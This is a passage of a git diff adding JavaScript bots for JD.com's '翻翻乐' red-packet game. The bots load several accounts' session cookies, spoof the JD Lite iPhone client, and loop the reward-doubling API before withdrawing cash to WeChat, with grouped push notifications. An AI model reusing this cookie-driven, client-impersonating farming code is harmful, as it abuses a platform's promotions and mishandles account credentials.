'https://api.m.jd.com/api'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const len = cookiesArr.length; + +!(async () => { + $.redPacketId = [] + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < len; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main() + } + } + if (message) { + $.msg($.name, '', message); + if ($.isNode()) await notify.sendNotify($.name, message); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function main() { + try { + $.canApCashWithDraw = false; + $.changeReward = true; + $.canOpenRed = true; + await gambleHomePage(); + if (!$.time) { + console.log(`开始进行翻翻乐拿红包\n`) + await gambleOpenReward();//打开红包 + if ($.canOpenRed) { + while (!$.canApCashWithDraw && $.changeReward) { + await openRedReward(); + await $.wait(500); + } + if ($.canApCashWithDraw) { + //提现 + await openRedReward('gambleObtainReward', $.rewardData.rewardType); + await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); + } + } + } + } catch (e) { + $.logErr(e) + } +} + + +//查询剩余多长时间可进行翻翻乐 +function gambleHomePage() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + const options = { + url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.leftTime === 0) { + $.time = data.data.leftTime; + } else { + $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); + } + console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); + } else { + console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//打开翻翻乐红包 +function gambleOpenReward() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); + } else { + console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); + if (data.code === 20007) { + $.canOpenRed = false; + console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻倍红包 +function openRedReward(functionId = 'gambleChangeReward', type) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + if (type) body['rewardType'] = type; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`翻翻乐结果:${data}\n`); + data = JSON.parse(data); + if (data['code'] === 0) { + $.rewardData = data.data; + if (data.data.rewardState === 1) { + if (data.data.rewardValue >= money) { + //已翻倍到0.3元,可以提现了 + $.canApCashWithDraw = true; + $.changeReward = false; + // message += `${data.data.rewardValue}元现金\n` + } + if (data.data.rewardType === 1) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); + } else if (data.data.rewardType === 2) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); + // $.canApCashWithDraw = true; + } else { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } else if (data.data.rewardState === 3) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); + $.changeReward = false; + } else { + if (type) { + console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; + } else { + console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } + } else { + $.canApCashWithDraw = true; + $.changeReward = false; + console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻翻乐提现 +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + "businessSource": "GAMBLE", + "base": { + id, + "business": "redEnvelopeDouble", + poolBaseId, + prizeGroupId, + prizeBaseId, + prizeType + }, + "linkId": fflLinkId + }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['status'] === '310') { + console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包成功🎉\n\n`; + } else { + console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } else { + console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_big_winner_Mod.js b/backUp/jd_big_winner_Mod.js new file mode 100644 index 0000000..07da313 --- /dev/null +++ b/backUp/jd_big_winner_Mod.js @@ -0,0 +1,829 @@ +/* +cron "40 8,10,12,14 * * *" ZY_big_winner_Mod.js +省钱大赢家之翻翻乐分组版本,兼容资产通知查询的变量,标题为 省钱大赢家之翻翻乐#2 省钱大赢家之翻翻乐#3 省钱大赢家之翻翻乐#4 省钱大赢家之翻翻乐 + */ + //详细说明参考 https://github.com/ccwav/QLScript2. +const $ = new Env('省钱大赢家之翻翻乐'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', linkId = 'yMVR-_QKRd2Mq27xguJG-w', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; +const money = $.isNode() ? (process.env.BIGWINNER_MONEY ? process.env.BIGWINNER_MONEY * 1 : 0.3) : ($.getdata("BIGWINNER_MONEY") ? $.getdata("BIGWINNER_MONEY") * 1 : 0.3) + const JD_API_HOST = 'https://api.m.jd.com/api'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const len = cookiesArr.length; + +let MessageUserGp2 = ""; +let MessageUserGp3 = ""; +let MessageUserGp4 = ""; + +let MessageGp2 = ""; +let MessageGp3 = ""; +let MessageGp4 = ""; +let MessageAll = ""; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + +let IndexGp2 = 0; +let IndexGp3 = 0; +let IndexGp4 = 0; +let IndexAll = 0; + +let allMessageGp2 = ''; +let allMessageGp3 = ''; +let allMessageGp4 = ''; +let allMessage = ''; + +let ReturnMessage = ""; +let ReturnMessageTitle = ""; + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + console.log(`检测到设定了分组推送2`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + console.log(`检测到设定了分组推送3`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + console.log(`检测到设定了分组推送4`); +} +let WP_APP_TOKEN_ONE = ""; +if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} + +!(async() => { + $.redPacketId = [] + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < len; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + ReturnMessage = ""; + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main() + if (ReturnMessage) { + + + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher(`${$.name}`,`【账号名称】${$.nickName || $.UserName}\n`+`${ReturnMessage}`,`${$.UserName}`); + } + + ReturnMessage = ReturnMessageTitle + ReturnMessage; + + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessage; + } + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessage; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessage; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + allMessage += ReturnMessage; + } + } + } + } + + if ($.isNode() && allMessageGp2) { + console.log("分组2:" + `\n` + allMessageGp2); + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(5000); + } + if ($.isNode() && allMessageGp3) { + console.log("分组3:" + `\n` + allMessageGp3); + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(5000); + } + if ($.isNode() && allMessageGp4) { + console.log("分组4:" + `\n` + allMessageGp4); + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(5000); + } + if ($.isNode() && allMessage) { + console.log("其他组:" + `\n` + allMessage); + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(5000); + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) + +async function main() { + try { + $.canApCashWithDraw = false; + $.changeReward = true; + $.canOpenRed = true; + await gambleHomePage(); + if (!$.time) { + console.log(`开始进行翻翻乐拿红包\n`) + await gambleOpenReward(); //打开红包 + if ($.canOpenRed) { + while (!$.canApCashWithDraw && $.changeReward) { + await openRedReward(); + await $.wait(1000); + } + if ($.canApCashWithDraw) { + //提现 + await openRedReward('gambleObtainReward', $.rewardData.rewardType); + await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); + } + } + } + } catch (e) { + $.logErr(e) + } +} + +//查询剩余多长时间可进行翻翻乐 +function gambleHomePage() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + 'Cookie': cookie + } + const body = { + 'linkId': fflLinkId + }; + const options = { + url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.leftTime === 0) { + $.time = data.data.leftTime; + } else { + $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); + } + console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); + } else { + console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve() + } + }) + }) +} +//打开翻翻乐红包 +function gambleOpenReward() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + 'linkId': fflLinkId + }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); + } else { + console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); + if (data.code === 20007) { + $.canOpenRed = false; + console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve() + } + }) + }) +} +//翻倍红包 +function openRedReward(functionId = 'gambleChangeReward', type) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + 'linkId': fflLinkId + }; + if (type) + body['rewardType'] = type; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`翻翻乐结果:${data}\n`); + data = JSON.parse(data); + if (data['code'] === 0) { + $.rewardData = data.data; + if (data.data.rewardState === 1) { + if (data.data.rewardValue >= money) { + //已翻倍到0.3元,可以提现了 + $.canApCashWithDraw = true; + $.changeReward = false; + // message += `${data.data.rewardValue}元现金\n` + } + if (data.data.rewardType === 1) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); + } else if (data.data.rewardType === 2) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); + // $.canApCashWithDraw = true; + } else { + console.log(`翻翻乐 